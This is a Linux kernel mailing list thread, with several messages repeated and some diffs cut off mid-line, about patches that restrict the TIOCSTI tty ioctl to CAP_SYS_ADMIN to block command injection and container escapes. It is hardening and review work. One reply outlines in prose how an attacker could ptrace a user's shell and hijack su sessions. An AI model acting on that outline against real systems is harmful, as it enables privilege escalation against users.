 | has made vulnerabilities in several 'su'-like programs possible in
 | the past.  Even without these vulnerabilities, it provides an
 | attacker with an easy mechanism to move laterally among other
 | processes within the same user's compromised session.

So if one process within a tty session becomes compromised it can follow
that additional processes, that are thought to be in different security
boundaries, can be compromised as a result. When using a program like su
or sudo, these additional processes could be in a tty session where TTY file
descriptors are indeed shared over privilege boundaries.

This is also an excellent writeup about the issue:


When user namespaces are in use, the check for the capability
CAP_SYS_ADMIN is done against the user namespace that originally opened
the tty.

# Changes since v5:
* added acks/reviews

# Changes since v4:
* fixed typo

# Changes since v3:
* use get_user_ns and put_user_ns to take and drop references to the owner
  user namespace because CONFIG_USER_NS is an option

# Changes since v2:
* take/drop reference to user namespace on tty struct alloc/free to prevent
  use-after-free.

# Changes since v1:
* added owner_user_ns to tty_struct to enable capability checks against
  the namespace that created the tty.
* rewording in different places to make patchset purpose clear
* Added Documentation

[PATCH v6 0/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

This patchset introduces the tiocsti_restrict sysctl, whose default is
controlled via CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this
control restricts all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.

This patch was inspired from GRKERNSEC_HARDEN_TTY.

This patch would have prevented
https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
conditions:
* non-privileged container
* container run inside new user namespace

Possible effects on userland:

There could be a few user programs that would be effected by this
change.
See: 
notable programs are: agetty, csh, xemacs and tcsh

However, I still believe that this change is worth it given that the
Kconfig defaults to n. This will be a feature that is turned on for the
same reason that people activate it when using grsecurity. Users of this
opt-in feature will realize that they are choosing security over some OS
features like unprivileged TIOCSTI ioctls, as should be clear in the
Kconfig help message.

Threat Model/Patch Rational:

>From grsecurity's config for GRKERNSEC_HARDEN_TTY.

 | There are very few legitimate uses for this functionality and it
 | has made vulnerabilities in several 'su'-like programs possible in
 | the past.  Even without these vulnerabilities, it provides an
 | attacker with an easy mechanism to move laterally among other
 | processes within the same user's compromised session.

So if one process within a tty session becomes compromised it can follow
that additional processes, that are thought to be in different security
boundaries, can be compromised as a result. When using a program like su
or sudo, these additional processes could be in a tty session where TTY file
descriptors are indeed shared over privilege boundaries.

This is also an excellent writeup about the issue:


When user namespaces are in use, the check for the capability
CAP_SYS_ADMIN is done against the user namespace that originally opened
the tty.

# Changes since v5:
* added acks/reviews

# Changes since v4:
* fixed typo

# Changes since v3:
* use get_user_ns and put_user_ns to take and drop references to the owner
  user namespace because CONFIG_USER_NS is an option

# Changes since v2:
* take/drop reference to user namespace on tty struct alloc/free to prevent
  use-after-free.

# Changes since v1:
* added owner_user_ns to tty_struct to enable capability checks against
  the namespace that created the tty.
* rewording in different places to make patchset purpose clear
* Added Documentation

[PATCH v6 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

This introduces the tiocsti_restrict sysctl, whose default is controlled via
CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this control restricts
all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.

This patch depends on patch 1/2

This patch was inspired from GRKERNSEC_HARDEN_TTY.

This patch would have prevented
https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
conditions:
* non-privileged container
* container run inside new user namespace

Possible effects on userland:

There could be a few user programs that would be effected by this
change.
See: <https://codesearch.debian.net/search?q=ioctl%5C%28.*TIOCSTI>
notable programs are: agetty, csh, xemacs and tcsh

However, I still believe that this change is worth it given that the
Kconfig defaults to n. This will be a feature that is turned on for the
same reason that people activate it when using grsecurity. Users of this
opt-in feature will realize that they are choosing security over some OS
features like unprivileged TIOCSTI ioctls, as should be clear in the
Kconfig help message.

Threat Model/Patch Rational:

>From grsecurity's config for GRKERNSEC_HARDEN_TTY.

 | There are very few legitimate uses for this functionality and it
 | has made vulnerabilities in several 'su'-like programs possible in
 | the past.  Even without these vulnerabilities, it provides an
 | attacker with an easy mechanism to move laterally among other
 | processes within the same user's compromised session.

So if one process within a tty session becomes compromised it can follow
that additional processes, that are thought to be in different security
boundaries, can be compromised as a result. When using a program like su
or sudo, these additional processes could be in a tty session where TTY file
descriptors are indeed shared over privilege boundaries.

This is also an excellent writeup about the issue:
<http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/>

When user namespaces are in use, the check for the capability
CAP_SYS_ADMIN is done against the user namespace that originally opened
the tty.

Acked-by: Serge Hallyn <se...@hallyn.com>
Reviewed-by: Kees Cook <keesc...@chromium.org>
Signed-off-by: Matt Brown <m...@nmatt.com>
---
 Documentation/sysctl/kernel.txt | 21 +
 drivers/tty/tty_io.c|  6 ++
 include/linux/tty.h |  2 ++
 kernel/sysctl.c | 12 
 security/Kconfig| 13 +
 5 files changed, 54 insertions(+)

diff --git a/Documentation/sysctl/kernel.txt b/Documentation/sysctl/kernel.txt
index bac23c1..f7985cf 100644
--- a/Documentation/sysctl/kernel.txt
+++ b/Documentation/sysctl/kernel.txt
@@ -89,6 +89,7 @@ show up in /proc/sys/kernel:
 - sysctl_writes_strict
 - tainted
 - threads-max
+- tiocsti_restrict
 - unknown_nmi_panic
 - watchdog
 - watchdog_thresh
@@ -987,6 +988,26 @@ available RAM pages threads-max is reduced accordingly.
 
 ==
 
+tiocsti_restrict:
+
+This toggle indicates whether unprivileged users are prevented
+from using the TIOCSTI ioctl to inject commands into other processes
+which share a tty session.
+
+When tiocsti_restrict is set to (0) there are no restrictions(accept
+the default restriction of only being able to injection commands into
+one's own tty). When tiocsti_restrict is set to (1), users must
+have CAP_SYS_ADMIN to use the TIOCSTI ioctl.
+
+When user namespaces are in use, the check for the capability
+CAP_SYS_ADMIN is done against the user namespace that originally
+opened the tty.
+
+The kernel config option CONFIG_SECURITY_TIOCSTI_RESTRICT sets the
+default value of tiocsti_restrict.
+
+==
+
 unknown_nmi_panic:
 
 The value in this file affects behavior of handling NMI. When the
diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c
index c276814..fe68d14 100644
--- a/drivers/tty/tty_io.c
+++ b/drivers/tty/tty_io.c
@@ -2297,11 +2297,17 @@ static int tty_fasync(int fd, struct file *filp, int on)
  * FIXME: may race normal receive processing
  */
 
+int tiocsti_restrict = IS_ENABLED(CONFIG_SECURITY_TIOCSTI_RESTRICT);
+
 static int tiocsti(struct tty_struct *tty, char __user *p)
 {
char ch, mbz = 0;
struct tty_ldisc *ld;
 
+   if (tiocsti_restrict && !ns_capable(tty->owner_user_ns,CAP_SYS_ADMIN)) {
+   pr_warn_ratelimited("TIOCSTI ioctl call blocked for 
non-privileged process\n");
+   return -EPERM;
+   }
if ((current->signal->tty != tty) && !capable(CAP_SYS_ADMIN))
return -EPERM;
if (get_user(ch, p))
diff --git a/include/linux/tty.h b/include/linux/tty.h
index d902d42..2fd7f49 100644
--- a/include/linux/tty.h
+++ b/include/linux/tty.h
@@ -344,6 +344,8 @@ struct tty_file_private {
struct list_head list;
 };
 
+exter

[PATCH v6 1/2] security: tty: Add owner user namespace to tty_struct

[Matt Brown]

This patch adds struct user_namespace *owner_user_ns to the tty_struct.
Then it is set to current_user_ns() in the alloc_tty_struct function.

This is done to facilitate capability checks against the original user
namespace that allocated the tty.

E.g. ns_capable(tty->owner_user_ns,CAP_SYS_ADMIN)

This combined with the use of user namespace's will allow hardening
protections to be built to mitigate container escapes that utilize TTY
ioctls such as TIOCSTI.

See: https://bugzilla.redhat.com/show_bug.cgi?id=1411256

Acked-by: Serge Hallyn <se...@hallyn.com>
Reviewed-by: Kees Cook <keesc...@chromium.org>
Signed-off-by: Matt Brown <m...@nmatt.com>
---
 drivers/tty/tty_io.c | 2 ++
 include/linux/tty.h  | 2 ++
 2 files changed, 4 insertions(+)

diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c
index e6d1a65..c276814 100644
--- a/drivers/tty/tty_io.c
+++ b/drivers/tty/tty_io.c
@@ -171,6 +171,7 @@ static void free_tty_struct(struct tty_struct *tty)
put_device(tty->dev);
kfree(tty->write_buf);
tty->magic = 0xDEADDEAD;
+   put_user_ns(tty->owner_user_ns);
kfree(tty);
 }
 
@@ -3191,6 +3192,7 @@ struct tty_struct *alloc_tty_struct(struct tty_driver 
*driver, int idx)
tty->index = idx;
tty_line_name(driver, idx, tty->name);
tty->dev = tty_get_device(tty);
+   tty->owner_user_ns = get_user_ns(current_user_ns());
 
return tty;
 }
diff --git a/include/linux/tty.h b/include/linux/tty.h
index 1017e904..d902d42 100644
--- a/include/linux/tty.h
+++ b/include/linux/tty.h
@@ -12,6 +12,7 @@
 #include 
 #include 
 #include 
+#include 
 
 
 /*
@@ -333,6 +334,7 @@ struct tty_struct {
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
+   struct user_namespace *owner_user_ns;
 };
 
 /* Each of a tty's open files has private_data pointing to tty_file_private */
-- 
2.10.2

[PATCH v6 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

This introduces the tiocsti_restrict sysctl, whose default is controlled via
CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this control restricts
all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.

This patch depends on patch 1/2

This patch was inspired from GRKERNSEC_HARDEN_TTY.

This patch would have prevented
https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
conditions:
* non-privileged container
* container run inside new user namespace

Possible effects on userland:

There could be a few user programs that would be effected by this
change.
See: <https://codesearch.debian.net/search?q=ioctl%5C%28.*TIOCSTI>
notable programs are: agetty, csh, xemacs and tcsh

However, I still believe that this change is worth it given that the
Kconfig defaults to n. This will be a feature that is turned on for the
same reason that people activate it when using grsecurity. Users of this
opt-in feature will realize that they are choosing security over some OS
features like unprivileged TIOCSTI ioctls, as should be clear in the
Kconfig help message.

Threat Model/Patch Rational:

>From grsecurity's config for GRKERNSEC_HARDEN_TTY.

 | There are very few legitimate uses for this functionality and it
 | has made vulnerabilities in several 'su'-like programs possible in
 | the past.  Even without these vulnerabilities, it provides an
 | attacker with an easy mechanism to move laterally among other
 | processes within the same user's compromised session.

So if one process within a tty session becomes compromised it can follow
that additional processes, that are thought to be in different security
boundaries, can be compromised as a result. When using a program like su
or sudo, these additional processes could be in a tty session where TTY file
descriptors are indeed shared over privilege boundaries.

This is also an excellent writeup about the issue:
<http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/>

When user namespaces are in use, the check for the capability
CAP_SYS_ADMIN is done against the user namespace that originally opened
the tty.

Acked-by: Serge Hallyn 
Reviewed-by: Kees Cook 
Signed-off-by: Matt Brown 
---
 Documentation/sysctl/kernel.txt | 21 +
 drivers/tty/tty_io.c|  6 ++
 include/linux/tty.h |  2 ++
 kernel/sysctl.c | 12 
 security/Kconfig| 13 +
 5 files changed, 54 insertions(+)

diff --git a/Documentation/sysctl/kernel.txt b/Documentation/sysctl/kernel.txt
index bac23c1..f7985cf 100644
--- a/Documentation/sysctl/kernel.txt
+++ b/Documentation/sysctl/kernel.txt
@@ -89,6 +89,7 @@ show up in /proc/sys/kernel:
 - sysctl_writes_strict
 - tainted
 - threads-max
+- tiocsti_restrict
 - unknown_nmi_panic
 - watchdog
 - watchdog_thresh
@@ -987,6 +988,26 @@ available RAM pages threads-max is reduced accordingly.
 
 ==
 
+tiocsti_restrict:
+
+This toggle indicates whether unprivileged users are prevented
+from using the TIOCSTI ioctl to inject commands into other processes
+which share a tty session.
+
+When tiocsti_restrict is set to (0) there are no restrictions(accept
+the default restriction of only being able to injection commands into
+one's own tty). When tiocsti_restrict is set to (1), users must
+have CAP_SYS_ADMIN to use the TIOCSTI ioctl.
+
+When user namespaces are in use, the check for the capability
+CAP_SYS_ADMIN is done against the user namespace that originally
+opened the tty.
+
+The kernel config option CONFIG_SECURITY_TIOCSTI_RESTRICT sets the
+default value of tiocsti_restrict.
+
+==
+
 unknown_nmi_panic:
 
 The value in this file affects behavior of handling NMI. When the
diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c
index c276814..fe68d14 100644
--- a/drivers/tty/tty_io.c
+++ b/drivers/tty/tty_io.c
@@ -2297,11 +2297,17 @@ static int tty_fasync(int fd, struct file *filp, int on)
  * FIXME: may race normal receive processing
  */
 
+int tiocsti_restrict = IS_ENABLED(CONFIG_SECURITY_TIOCSTI_RESTRICT);
+
 static int tiocsti(struct tty_struct *tty, char __user *p)
 {
char ch, mbz = 0;
struct tty_ldisc *ld;
 
+   if (tiocsti_restrict && !ns_capable(tty->owner_user_ns,CAP_SYS_ADMIN)) {
+   pr_warn_ratelimited("TIOCSTI ioctl call blocked for 
non-privileged process\n");
+   return -EPERM;
+   }
if ((current->signal->tty != tty) && !capable(CAP_SYS_ADMIN))
return -EPERM;
if (get_user(ch, p))
diff --git a/include/linux/tty.h b/include/linux/tty.h
index d902d42..2fd7f49 100644
--- a/include/linux/tty.h
+++ b/include/linux/tty.h
@@ -344,6 +344,8 @@ struct tty_file_private {
struct list_head list;
 };
 
+extern int tiocsti_restrict;
+
 /* tty magic number */
 #define TTY_MAGIC  

[PATCH v6 1/2] security: tty: Add owner user namespace to tty_struct

[Matt Brown]

This patch adds struct user_namespace *owner_user_ns to the tty_struct.
Then it is set to current_user_ns() in the alloc_tty_struct function.

This is done to facilitate capability checks against the original user
namespace that allocated the tty.

E.g. ns_capable(tty->owner_user_ns,CAP_SYS_ADMIN)

This combined with the use of user namespace's will allow hardening
protections to be built to mitigate container escapes that utilize TTY
ioctls such as TIOCSTI.

See: https://bugzilla.redhat.com/show_bug.cgi?id=1411256

Acked-by: Serge Hallyn 
Reviewed-by: Kees Cook 
Signed-off-by: Matt Brown 
---
 drivers/tty/tty_io.c | 2 ++
 include/linux/tty.h  | 2 ++
 2 files changed, 4 insertions(+)

diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c
index e6d1a65..c276814 100644
--- a/drivers/tty/tty_io.c
+++ b/drivers/tty/tty_io.c
@@ -171,6 +171,7 @@ static void free_tty_struct(struct tty_struct *tty)
put_device(tty->dev);
kfree(tty->write_buf);
tty->magic = 0xDEADDEAD;
+   put_user_ns(tty->owner_user_ns);
kfree(tty);
 }
 
@@ -3191,6 +3192,7 @@ struct tty_struct *alloc_tty_struct(struct tty_driver 
*driver, int idx)
tty->index = idx;
tty_line_name(driver, idx, tty->name);
tty->dev = tty_get_device(tty);
+   tty->owner_user_ns = get_user_ns(current_user_ns());
 
return tty;
 }
diff --git a/include/linux/tty.h b/include/linux/tty.h
index 1017e904..d902d42 100644
--- a/include/linux/tty.h
+++ b/include/linux/tty.h
@@ -12,6 +12,7 @@
 #include 
 #include 
 #include 
+#include 
 
 
 /*
@@ -333,6 +334,7 @@ struct tty_struct {
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
+   struct user_namespace *owner_user_ns;
 };
 
 /* Each of a tty's open files has private_data pointing to tty_file_private */
-- 
2.10.2

Re: [PATCH v4 1/2] tiocsti-restrict : Add owner user namespace to tty_struct

[Matt Brown]

On 05/03/2017 03:45 PM, Greg KH wrote:

On Wed, May 03, 2017 at 12:32:07PM -0700, Kees Cook wrote:

On Mon, Apr 24, 2017 at 6:57 AM, Serge E. Hallyn <se...@hallyn.com> wrote:

Quoting Matt Brown (m...@nmatt.com):

This patch adds struct user_namespace *owner_user_ns to the tty_struct.
Then it is set to current_user_ns() in the alloc_tty_struct function.

This is done to facilitate capability checks against the original user
namespace that allocated the tty.

E.g. ns_capable(tty->owner_user_ns,CAP_SYS_ADMIN)

This combined with the use of user namespace's will allow hardening
protections to be built to mitigate container escapes that utilize TTY
ioctls such as TIOCSTI.

See: https://bugzilla.redhat.com/show_bug.cgi?id=1411256

Signed-off-by: Matt Brown <m...@nmatt.com>


Acked-by: Serge Hallyn <se...@hallyn.com>


This Ack didn't end up in the v5, but I think it stands, yes?

Greg, is the v5 okay to pull for you or would a v6 with Acks/Reviews
included be preferred?


v6 would be great, and we are dropping patch 2 from the series, right?
I was expecting this to be resent.  I'll start looking at new patches
like this after 4.12-rc1 is out.



I will create a v6 with the Acks/Reviews. I'd like to keep patch 2 in
since that got acked by at least Serge. (Kees also? or just patch 1?)


thanks,

greg k-h

Re: [PATCH v4 1/2] tiocsti-restrict : Add owner user namespace to tty_struct

[Matt Brown]

On 05/03/2017 03:45 PM, Greg KH wrote:

On Wed, May 03, 2017 at 12:32:07PM -0700, Kees Cook wrote:

On Mon, Apr 24, 2017 at 6:57 AM, Serge E. Hallyn  wrote:

Quoting Matt Brown (m...@nmatt.com):

This patch adds struct user_namespace *owner_user_ns to the tty_struct.
Then it is set to current_user_ns() in the alloc_tty_struct function.

This is done to facilitate capability checks against the original user
namespace that allocated the tty.

E.g. ns_capable(tty->owner_user_ns,CAP_SYS_ADMIN)

This combined with the use of user namespace's will allow hardening
protections to be built to mitigate container escapes that utilize TTY
ioctls such as TIOCSTI.

See: https://bugzilla.redhat.com/show_bug.cgi?id=1411256

Signed-off-by: Matt Brown 


Acked-by: Serge Hallyn 


This Ack didn't end up in the v5, but I think it stands, yes?

Greg, is the v5 okay to pull for you or would a v6 with Acks/Reviews
included be preferred?


v6 would be great, and we are dropping patch 2 from the series, right?
I was expecting this to be resent.  I'll start looking at new patches
like this after 4.12-rc1 is out.



I will create a v6 with the Acks/Reviews. I'd like to keep patch 2 in
since that got acked by at least Serge. (Kees also? or just patch 1?)


thanks,

greg k-h

Re: [PATCH v5 0/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 04/26/2017 08:47 AM, One Thousand Gnomes wrote:

open() what? As far as I know, for System-V PTYs, there is no path you can
open() that will give you the PTY master. Am I missing something?


Sorry brain fade - no.



If I want to do the equvalent of the TIOCSTI attack then I fork a process
and exit the parent. The child can now use ptrace to reprogram your shell
to do whatever interesting things it likes (eg running child processes
called "su" via a second pty/tty pair). Not exactly rocket science.


Why would the child be able to ptrace the shell? AFAICS, in the most
relevant scenarios, the child can't ptrace the shell because the
shell has a different UID (in the case of e.g. su or sudo). In other


If I am the attacker wanting to type something into your su when you go
and su from my account, or where the user account is trojanned I do the
following

fork
exit parent
child ptraces the shell (same uid as it's not setuid)

You type "su" return
The modified shell opens a new pty/tty pair and runs su over it
My ptrace hooks watch the pty/tty traffic until you go to the loo
My ptrace hooks switch the console
My ptrace hooks type lots of stuff and hack your machine while eating the
output

and you come back, do stuff and then exit

And if you are in X it's even easier and I don't even need to care about
sessions or anything. X has no mechanism to sanely fix the problem, but
Wayland does.


I think the "When using a program like su or sudo" in the patch description
refers to the usecase where you go from a more privileged context (e.g. a
root shell) to a less privileged one (e.g. a shell as a service-specific
account used to run a daemon), not the other way around.


Which is the sudo case and why sudo uses a separate pty/tty pair as it's
not just TIOCSTI that's an issue but there are a load of ioctls that do
things like cause signals to the process or are just annoying -
vhangup(), changing the speed etc

(And for console changing the keymap - which is a nasty one)



Are any of these annoyances potential security issues? I would be happy
to add patches or modify this one to include extra hardening measures.


[However, I do think that it's a nice side effect of this patch that it will
prevent a malicious program from directly injecting something like an
SSH command into my shell in a sufficiently hardened environment
(with LSM restrictions that prevent the malicious program from opening
SSH keyfiles or executing another program that can do that). Although
you could argue that in such a case, the LSM should be taking care of
blocking TIOCSTI.]


I would submit that creating a new pty/tty pair is the proper answer for
that case however. Making the tty calls respect namespaces is however
still a no-brainer IMHO.

Alan

Re: [PATCH v5 0/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 04/26/2017 08:47 AM, One Thousand Gnomes wrote:

open() what? As far as I know, for System-V PTYs, there is no path you can
open() that will give you the PTY master. Am I missing something?


Sorry brain fade - no.



If I want to do the equvalent of the TIOCSTI attack then I fork a process
and exit the parent. The child can now use ptrace to reprogram your shell
to do whatever interesting things it likes (eg running child processes
called "su" via a second pty/tty pair). Not exactly rocket science.


Why would the child be able to ptrace the shell? AFAICS, in the most
relevant scenarios, the child can't ptrace the shell because the
shell has a different UID (in the case of e.g. su or sudo). In other


If I am the attacker wanting to type something into your su when you go
and su from my account, or where the user account is trojanned I do the
following

fork
exit parent
child ptraces the shell (same uid as it's not setuid)

You type "su" return
The modified shell opens a new pty/tty pair and runs su over it
My ptrace hooks watch the pty/tty traffic until you go to the loo
My ptrace hooks switch the console
My ptrace hooks type lots of stuff and hack your machine while eating the
output

and you come back, do stuff and then exit

And if you are in X it's even easier and I don't even need to care about
sessions or anything. X has no mechanism to sanely fix the problem, but
Wayland does.


I think the "When using a program like su or sudo" in the patch description
refers to the usecase where you go from a more privileged context (e.g. a
root shell) to a less privileged one (e.g. a shell as a service-specific
account used to run a daemon), not the other way around.


Which is the sudo case and why sudo uses a separate pty/tty pair as it's
not just TIOCSTI that's an issue but there are a load of ioctls that do
things like cause signals to the process or are just annoying -
vhangup(), changing the speed etc

(And for console changing the keymap - which is a nasty one)



Are any of these annoyances potential security issues? I would be happy
to add patches or modify this one to include extra hardening measures.


[However, I do think that it's a nice side effect of this patch that it will
prevent a malicious program from directly injecting something like an
SSH command into my shell in a sufficiently hardened environment
(with LSM restrictions that prevent the malicious program from opening
SSH keyfiles or executing another program that can do that). Although
you could argue that in such a case, the LSM should be taking care of
blocking TIOCSTI.]


I would submit that creating a new pty/tty pair is the proper answer for
that case however. Making the tty calls respect namespaces is however
still a no-brainer IMHO.

Alan

[PATCH v5 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

This introduces the tiocsti_restrict sysctl, whose default is controlled via
CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this control restricts
all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.

This patch depends on patch 1/2

This patch was inspired from GRKERNSEC_HARDEN_TTY.

This patch would have prevented
https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
conditions:
* non-privileged container
* container run inside new user namespace

Possible effects on userland:

There could be a few user programs that would be effected by this
change.
See: <https://codesearch.debian.net/search?q=ioctl%5C%28.*TIOCSTI>
notable programs are: agetty, csh, xemacs and tcsh

However, I still believe that this change is worth it given that the
Kconfig defaults to n. This will be a feature that is turned on for the
same reason that people activate it when using grsecurity. Users of this
opt-in feature will realize that they are choosing security over some OS
features like unprivileged TIOCSTI ioctls, as should be clear in the
Kconfig help message.

Threat Model/Patch Rational:

>From grsecurity's config for GRKERNSEC_HARDEN_TTY.

 | There are very few legitimate uses for this functionality and it
 | has made vulnerabilities in several 'su'-like programs possible in
 | the past.  Even without these vulnerabilities, it provides an
 | attacker with an easy mechanism to move laterally among other
 | processes within the same user's compromised session.

So if one process within a tty session becomes compromised it can follow
that additional processes, that are thought to be in different security
boundaries, can be compromised as a result. When using a program like su
or sudo, these additional processes could be in a tty session where TTY file
descriptors are indeed shared over privilege boundaries.

This is also an excellent writeup about the issue:
<http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/>

When user namespaces are in use, the check for the capability
CAP_SYS_ADMIN is done against the user namespace that originally opened
the tty.

Signed-off-by: Matt Brown <m...@nmatt.com>
---
 Documentation/sysctl/kernel.txt | 21 +
 drivers/tty/tty_io.c|  6 ++
 include/linux/tty.h |  2 ++
 kernel/sysctl.c | 12 
 security/Kconfig| 13 +
 5 files changed, 54 insertions(+)

diff --git a/Documentation/sysctl/kernel.txt b/Documentation/sysctl/kernel.txt
index bac23c1..f7985cf 100644
--- a/Documentation/sysctl/kernel.txt
+++ b/Documentation/sysctl/kernel.txt
@@ -89,6 +89,7 @@ show up in /proc/sys/kernel:
 - sysctl_writes_strict
 - tainted
 - threads-max
+- tiocsti_restrict
 - unknown_nmi_panic
 - watchdog
 - watchdog_thresh
@@ -987,6 +988,26 @@ available RAM pages threads-max is reduced accordingly.
 
 ==
 
+tiocsti_restrict:
+
+This toggle indicates whether unprivileged users are prevented
+from using the TIOCSTI ioctl to inject commands into other processes
+which share a tty session.
+
+When tiocsti_restrict is set to (0) there are no restrictions(accept
+the default restriction of only being able to injection commands into
+one's own tty). When tiocsti_restrict is set to (1), users must
+have CAP_SYS_ADMIN to use the TIOCSTI ioctl.
+
+When user namespaces are in use, the check for the capability
+CAP_SYS_ADMIN is done against the user namespace that originally
+opened the tty.
+
+The kernel config option CONFIG_SECURITY_TIOCSTI_RESTRICT sets the
+default value of tiocsti_restrict.
+
+==
+
 unknown_nmi_panic:
 
 The value in this file affects behavior of handling NMI. When the
diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c
index c276814..fe68d14 100644
--- a/drivers/tty/tty_io.c
+++ b/drivers/tty/tty_io.c
@@ -2297,11 +2297,17 @@ static int tty_fasync(int fd, struct file *filp, int on)
  * FIXME: may race normal receive processing
  */
 
+int tiocsti_restrict = IS_ENABLED(CONFIG_SECURITY_TIOCSTI_RESTRICT);
+
 static int tiocsti(struct tty_struct *tty, char __user *p)
 {
char ch, mbz = 0;
struct tty_ldisc *ld;
 
+   if (tiocsti_restrict && !ns_capable(tty->owner_user_ns,CAP_SYS_ADMIN)) {
+   pr_warn_ratelimited("TIOCSTI ioctl call blocked for 
non-privileged process\n");
+   return -EPERM;
+   }
if ((current->signal->tty != tty) && !capable(CAP_SYS_ADMIN))
return -EPERM;
if (get_user(ch, p))
diff --git a/include/linux/tty.h b/include/linux/tty.h
index d902d42..2fd7f49 100644
--- a/include/linux/tty.h
+++ b/include/linux/tty.h
@@ -344,6 +344,8 @@ struct tty_file_private {
struct list_head list;
 };
 
+extern int tiocsti_restrict;
+
 /* tty magic number */
 #define TTY_MAGIC  0x5401
 
diff --git a/

[PATCH v5 1/2] security: tty: Add owner user namespace to tty_struct

[Matt Brown]

This patch adds struct user_namespace *owner_user_ns to the tty_struct.
Then it is set to current_user_ns() in the alloc_tty_struct function.

This is done to facilitate capability checks against the original user
namespace that allocated the tty.

E.g. ns_capable(tty->owner_user_ns,CAP_SYS_ADMIN)

This combined with the use of user namespace's will allow hardening
protections to be built to mitigate container escapes that utilize TTY
ioctls such as TIOCSTI.

See: https://bugzilla.redhat.com/show_bug.cgi?id=1411256

Signed-off-by: Matt Brown <m...@nmatt.com>
---
 drivers/tty/tty_io.c | 2 ++
 include/linux/tty.h  | 2 ++
 2 files changed, 4 insertions(+)

diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c
index e6d1a65..c276814 100644
--- a/drivers/tty/tty_io.c
+++ b/drivers/tty/tty_io.c
@@ -171,6 +171,7 @@ static void free_tty_struct(struct tty_struct *tty)
put_device(tty->dev);
kfree(tty->write_buf);
tty->magic = 0xDEADDEAD;
+   put_user_ns(tty->owner_user_ns);
kfree(tty);
 }
 
@@ -3191,6 +3192,7 @@ struct tty_struct *alloc_tty_struct(struct tty_driver 
*driver, int idx)
tty->index = idx;
tty_line_name(driver, idx, tty->name);
tty->dev = tty_get_device(tty);
+   tty->owner_user_ns = get_user_ns(current_user_ns());
 
return tty;
 }
diff --git a/include/linux/tty.h b/include/linux/tty.h
index 1017e904..d902d42 100644
--- a/include/linux/tty.h
+++ b/include/linux/tty.h
@@ -12,6 +12,7 @@
 #include 
 #include 
 #include 
+#include 
 
 
 /*
@@ -333,6 +334,7 @@ struct tty_struct {
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
+   struct user_namespace *owner_user_ns;
 };
 
 /* Each of a tty's open files has private_data pointing to tty_file_private */
-- 
2.10.2

[PATCH v5 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

This introduces the tiocsti_restrict sysctl, whose default is controlled via
CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this control restricts
all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.

This patch depends on patch 1/2

This patch was inspired from GRKERNSEC_HARDEN_TTY.

This patch would have prevented
https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
conditions:
* non-privileged container
* container run inside new user namespace

Possible effects on userland:

There could be a few user programs that would be effected by this
change.
See: <https://codesearch.debian.net/search?q=ioctl%5C%28.*TIOCSTI>
notable programs are: agetty, csh, xemacs and tcsh

However, I still believe that this change is worth it given that the
Kconfig defaults to n. This will be a feature that is turned on for the
same reason that people activate it when using grsecurity. Users of this
opt-in feature will realize that they are choosing security over some OS
features like unprivileged TIOCSTI ioctls, as should be clear in the
Kconfig help message.

Threat Model/Patch Rational:

>From grsecurity's config for GRKERNSEC_HARDEN_TTY.

 | There are very few legitimate uses for this functionality and it
 | has made vulnerabilities in several 'su'-like programs possible in
 | the past.  Even without these vulnerabilities, it provides an
 | attacker with an easy mechanism to move laterally among other
 | processes within the same user's compromised session.

So if one process within a tty session becomes compromised it can follow
that additional processes, that are thought to be in different security
boundaries, can be compromised as a result. When using a program like su
or sudo, these additional processes could be in a tty session where TTY file
descriptors are indeed shared over privilege boundaries.

This is also an excellent writeup about the issue:
<http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/>

When user namespaces are in use, the check for the capability
CAP_SYS_ADMIN is done against the user namespace that originally opened
the tty.

Signed-off-by: Matt Brown 
---
 Documentation/sysctl/kernel.txt | 21 +
 drivers/tty/tty_io.c|  6 ++
 include/linux/tty.h |  2 ++
 kernel/sysctl.c | 12 
 security/Kconfig| 13 +
 5 files changed, 54 insertions(+)

diff --git a/Documentation/sysctl/kernel.txt b/Documentation/sysctl/kernel.txt
index bac23c1..f7985cf 100644
--- a/Documentation/sysctl/kernel.txt
+++ b/Documentation/sysctl/kernel.txt
@@ -89,6 +89,7 @@ show up in /proc/sys/kernel:
 - sysctl_writes_strict
 - tainted
 - threads-max
+- tiocsti_restrict
 - unknown_nmi_panic
 - watchdog
 - watchdog_thresh
@@ -987,6 +988,26 @@ available RAM pages threads-max is reduced accordingly.
 
 ==
 
+tiocsti_restrict:
+
